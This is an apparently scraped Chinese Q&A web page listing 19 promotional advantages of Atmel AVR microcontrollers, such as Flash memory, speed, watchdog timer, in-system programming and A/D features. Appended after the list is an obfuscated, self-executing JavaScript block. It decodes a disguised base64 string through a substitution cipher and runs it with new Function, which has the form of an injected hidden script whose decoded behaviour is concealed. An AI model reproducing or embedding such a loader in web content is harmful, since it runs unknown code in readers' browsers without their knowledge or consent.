选择AVR单片机的24个为什么

2025-04-06 02:19:59
推荐回答(1个)
回答(1):

自吹自擂吧,可我只发现19条
AVR 高速嵌入式单片机将领导世界单片机潮流
电子技术的迅猛发展,尤其单片机更广泛地应用于军事工业家用电器智能玩具便携式
智能仪表等领域,使产品功能精度和质量大幅度提高,电路简单故障率低可靠性高且成本低廉ATMEL 公司把51 内核与其擅长的FLASH制造技术相结合,推出可重复擦写1000 次以上低功耗的89C51/52/1051/2051 等产品,取代其它8751 系列,称霸单片机市场数年ATMEL 于1997 年由A 及V先生共同研发RISC(Reduced Instruction Set CPU)单片机,简称AVR AVR单片机吸取PIC 及8051单片机的优点,并作了重大改进,做到你有我也有,且比你更好,而我有你却没有AVR AT90S 系列单片机的优点如下:
(1)价格低廉的可擦写 1000 次以上的16(字)位指令(程序存储器数据为16 位,即XXXX*16, 也可理解为8 位,即2*XXXX*8)FLASH技术,不再有报废品产生,数据存贮器为八位,AVR 还是属于八位单片机;
(2)高速度(50ns) 低功耗( A)!具有SLEEP(休眠)功能及CMOS 技术,每一指令执行速度可达
50ns(20MHZ),而耗电则在1mA 2.5mA间(典型功耗,WDT 关闭时为100nA) AVR运用Harvard结构概念 (具有预取指令功能) , 即对程序存储和数据带有不同的存储器和总线当执行某一指令时, 下一指令被预先从程序存储器中取出, 这使得指令可以在每一个时钟周期内被执行;
(3)高度保密(LOCK)!可多次烧写的FLASH 且具有多重密码保护锁死(LOCK)功能,因此可低价快速完成产品商品化,且可多次更改程序(产品升级)而不必浪费IC 或电路板,大大提高产品质量及竞争力;
(4)工业级(WDT)产品!具有大电流(灌电流)10 20mA 或40mA(单一输出),可直接驱动SSR 或继电器,有看门狗定时器(WDT),安全保护,防止程序走飞,提高产品的抗干扰能力;
(5)超功能精简指令!具有32 个通用工作寄存器(相当于8051 中的32 个累加器, 克服了单一累加器数据处理造成的瓶颈现象)及128-4KB 个SRAM,可灵活使用指令运算并可用功能很强的C 语言编程,易学易写易移植;
(6)程序写入器件可以并行写入(用万用编程器),也可串行在线下载(ISP)擦写, 也就是说不必将IC
拆下拿到万用编程器上烧录, 而可直接在电路板上进行程序修改 烧录等操作, 方便产品升级,尤其是 SMD 封装, 更利于产品微型化;
(7)并行 I/O 口输入输出特性与PIC 的HI/LOW输出及三态高阻抗HI-Z 输入类同外,也可设定类同8051 系列内部拉高电阻作输入端的功能,便于作各种应用特性所需(多功能I/O 口), 只有 AVR才是真正的I/O 口, 能正确反映 I/O 口的输入/输出真实情况;
(8)单片机内有模拟比较器,I/O 口可作A/D 转换用, 可组成廉价的 A/D 转换器;
(9)像 8051 一样,有多个固定中断向量入口地址可快速响应,而不会像PIC一样所有中断都在同一向量地址,需要以程序判别后才可响应,这实在是浪费且失去控制的最隹机会;
(10) 同 PIC 一样可重设启动复位,AVR AT90S 系列也有内部电源开关启动计数器,可将低电平复位(/RESET)直接接到VCC 端,当电源开时,由于利用内部的RC 看门狗定时器可延迟MCU 启动执
行程序,这种延时以使I/O 口稳定后执行程序,提高单片机工作可靠性,同时也可节省外加复位延时电路;
(11) 具有休眠省电功能(POWER DOWN)及闲置(IDLE)低功耗功能;
(12) AT90S1200 等部分AVR器件具有内部RC 振荡器--1MHz 的工作频率,使该类单片机无需外加元器件即可工作,真是简单方便;
(13) 计数器/定时器,C/T 有8 位和16 位,可作比较器,计数器外部中断和PWM(也可当D/A)用于控制输出;
(14) 有串行异步通讯 UART,不占用定时器和SPI 传输功能,因其高速故可以工作在一般标准整数频率,而波特率可达576K;
(15) AT90S4414 及AT90S8515 具有可扩展外部存储器达64KB,它们的引脚排列及功能与8051 相似,即可替代8051 系列单片机(8751/8752)的应用系统,当然还在硬件软件上带来很多优点
(WDT 看门狗,摸拟比较器作A/D,PWM 作D/A 等);
(16) 工作电压范围宽 2.7V 6.0V, 电源抗干扰性能强;
(17) 还有多通道 10 位A/D 及实时时钟RTC,具有8 路10 位A/D 器件有AT90S4434/8535;具有6路10 位A/D 器件有AT90S2333/4433;ATmega103(L)单片机更有FLASH 128KB,E2PROM
4KB,RAM 4KB,I/O 端口48 个,中断源16 个,外部中断8 个,SPI 1个,UART 1个,8位定时器2 个,16位定时器1 个,PWM(D/A) 4 个,有看门狗定时器,有实时时钟RTC,模拟比较器,8 路10 位A/D,可在线编程ISP,工作电压2.7V 5.5V;
(18) AVR 由FLASH 存储器构成,并具有较大容量可擦写100000 次的E2PROM,对掉电后数据的保存带来方便,来电后能记住掉电时的工作状态;
(19) 从高级语言 C 代码,看各种单片机性能比较表:

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();